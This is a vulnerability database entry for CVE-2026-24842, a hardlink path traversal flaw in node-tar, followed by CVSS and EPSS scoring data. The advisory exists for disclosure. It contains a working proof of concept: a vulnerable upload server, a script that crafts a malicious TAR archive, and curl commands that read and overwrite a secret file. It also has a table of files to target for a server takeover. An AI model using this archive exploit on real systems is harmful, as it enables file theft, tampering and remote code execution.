Staging Environment: Content and features may be unstable or change without notice.
Search for vulnerabilities
Vulnerability details: VCID-xqpk-t1d2-yqak
Vulnerability ID VCID-xqpk-t1d2-yqak
Aliases CVE-2026-24842
GHSA-34x7-hfp2-rc4v
Summary node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal ### Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. ### Details The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently: **Security check in `[STRIPABSOLUTEPATH]`:** ```javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { /* block */ } ``` **Hardlink creation in `[HARDLINK]`:** ```javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest); ``` **Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`. - **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**. - **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`. The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape. ### PoC #### Setup Create a new directory with these files: ``` poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here) ``` **package.json** ```json { "dependencies": { "tar": "^7.5.0" } } ``` **secret.txt** (sensitive file outside uploads/) ``` DATABASE_PASSWORD=supersecret123 ``` **server.js** (vulnerable file upload server) ```javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar'); const PORT = 3000; const UPLOAD_DIR = path.join(__dirname, 'uploads'); fs.mkdirSync(UPLOAD_DIR, { recursive: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(`http://localhost:${PORT}`)); ``` **create-malicious-tar.js** (attacker creates exploit TAR) ```javascript const fs = require('fs'); function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; } // Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar'); ``` #### Run ```bash # Setup npm install echo "DATABASE_PASSWORD=supersecret123" > secret.txt # Terminal 1: Start server node server.js # Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload # READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read # Returns: DATABASE_PASSWORD=supersecret123 # WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write # Confirm secret.txt was modified cat secret.txt ``` ### Impact An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables: **Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process. **Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory. ### Remote Code Execution / Server Takeover | Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server | | Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution | | Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login | | Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests | | Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart | | User Creation | `/etc/passwd` (if running as root) | Add new privileged user | ## Data Exfiltration & Corruption 1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations 2. **Read sensitive files** by creating hardlinks that point outside extraction directory 3. **Corrupt databases** and application state 4. **Steal credentials** from config files, `.env`, secrets
Status Published
Exploitability 0.5
Weighted Severity 8.0
Risk 4.0
Affected and Fixed Packages Package Details
Weaknesses (4)
System Score Found at
cvssv3 8.2 https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24842.json
epss 0.00018 https://api.first.org/data/v1/epss?cve=CVE-2026-24842
epss 0.00018 https://api.first.org/data/v1/epss?cve=CVE-2026-24842
epss 0.00021 https://api.first.org/data/v1/epss?cve=CVE-2026-24842
epss 0.00021 https://api.first.org/data/v1/epss?cve=CVE-2026-24842
epss 0.00021 https://api.first.org/data/v1/epss?cve=CVE-2026-24842
epss 0.00021 https://api.first.org/data/v1/epss?cve=CVE-2026-24842
epss 0.00021 https://api.first.org/data/v1/epss?cve=CVE-2026-24842
epss 0.00021 https://api.first.org/data/v1/epss?cve=CVE-2026-24842
epss 0.00021 https://api.first.org/data/v1/epss?cve=CVE-2026-24842
cvssv3.1 7.5 https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
cvssv3.1_qr HIGH https://github.com/advisories/GHSA-34x7-hfp2-rc4v
cvssv3.1 8.2 https://github.com/isaacs/node-tar
generic_textual HIGH https://github.com/isaacs/node-tar
cvssv3.1 8.2 https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46
generic_textual HIGH https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46
ssvc Track https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46
cvssv3.1 8.2 https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
cvssv3.1_qr HIGH https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
generic_textual HIGH https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
ssvc Track https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
cvssv3.1 8.2 https://nvd.nist.gov/vuln/detail/CVE-2026-24842
generic_textual HIGH https://nvd.nist.gov/vuln/detail/CVE-2026-24842
No exploits are available.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N Found at https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24842.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N Found at https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N Found at https://github.com/isaacs/node-tar
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N Found at https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none


Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-28T14:55:08Z/ Found at https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N Found at https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none


Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-28T14:55:08Z/ Found at https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N Found at https://nvd.nist.gov/vuln/detail/CVE-2026-24842
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Exploit Prediction Scoring System (EPSS)
Percentile 0.04653
EPSS Score 0.00018
Published At April 2, 2026, 12:55 p.m.
Date Actor Action Source VulnerableCode Version
2026-04-01T12:52:13.153555+00:00 GithubOSV Importer Import https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-34x7-hfp2-rc4v/GHSA-34x7-hfp2-rc4v.json 38.0.0